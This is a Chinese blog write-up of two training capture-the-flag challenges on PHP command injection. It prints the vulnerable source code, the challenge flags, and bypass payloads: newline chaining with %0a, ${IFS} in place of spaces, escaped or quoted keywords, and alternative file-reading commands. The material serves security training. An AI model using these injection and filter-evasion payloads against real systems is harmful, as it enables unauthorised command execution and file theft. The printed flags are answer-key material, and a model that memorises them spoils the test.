有回显命令执行-命令拼接+关键字绕过

8 篇文章 0 订阅
7 篇文章 0 订阅

[题目信息]:

题目名称题目难度
有回显命令执行-命令拼接(训练题)2

[题目考点]:

远程命令执行漏洞,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码。

以下是可能会造成任意命令执行的函数

system|passthru|exec|popen|proc_open|move_uploaded_file|eval|copy|shell_exec|assert

[Flag格式]:

SangFor{mrwWoE52xf-GtJgfOno-pxPqAVzAusEP}

[环境部署]:

docker-compose.yml文件或者docker tar原始文件。

http://分配ip:5021

[题目writeup]:

1、实验主页

2、代码分析

<?php
highlight_file(__FILE__);
$res = FALSE;

if (isset($_GET[‘ip’]) && $_GET[‘ip’]) {
$ip = $_GET[‘ip’];
$m = [];
if (!preg_match_all("/(||&|;| |/|cat|flag)/", $ip, $m)) {
$cmd = “ping -c 4 {$ip}”;
exec($cmd, $res);
} else {
$res = $m;
}
}
?>

  1. %0a绕过执行多条命令,相当于回车
  2. ${IFS}绕过空格
  3. ?正则匹配flag
?ip=%0acd${IFS}..%0Acd${IFS}..%0Acd${IFS}..%0Atac${IFS}fla?






[题目信息]:

题目名称题目难度
有回显命令执行-关键字绕过(训练题)2

[题目考点]:

远程命令执行漏洞,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码。

以下是可能会造成任意命令执行的函数

system|passthru|exec|popen|proc_open|move_uploaded_file|eval|copy|shell_exec|assert

[Flag格式]:

SangFor{OfabB_RclyShHwXmDu-i1rK9JeYbyUdU}

[环境部署]:

docker-compose.yml文件或者docker tar原始文件。

http://分配ip:5020

[题目writeup]:

1、实验主页

2、代码分析

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|\*|\?|\'|\"|tac|cat/i", $c)){
        system($c);
    }

}else{
highlight_file(FILE);
}

主要过滤字符flag、cat、tac关键字,以及*,?通配符;

在linux shell中命令执行绕过关键字中,读取文件可以使用一下字符;

more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
sh /flag 2>%261  //报错出文件内容
php /flag

使用转义符

ca\t fl\ag

内联执行绕过

a=c;b=a;$a$bt flag
(假设该目录下有index.php和flag.php)
cat `ls` 
等同于-->
cat flag.php;cat index.php

单引号、双引号、尖号

c""at fl''ag 
cat fl``ag

$1、$2等和$@

$# 是传给脚本的参数个数
$0 是脚本本身的名字
$1 是传递给该shell脚本的第一个参数
$2 是传递给该shell脚本的第二个参数
$@ 是传给脚本的所有参数的列表
$* 是以一个单字符串显示所有向脚本传递的参数,与位置变量不同,参数可超过9个
$$ 是脚本运行的当前进程ID号
$? 是显示最后命令的退出状态,0表示没有错误,其他表示有错误

payload

?c=n``l fl``ag.php

  • 9
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值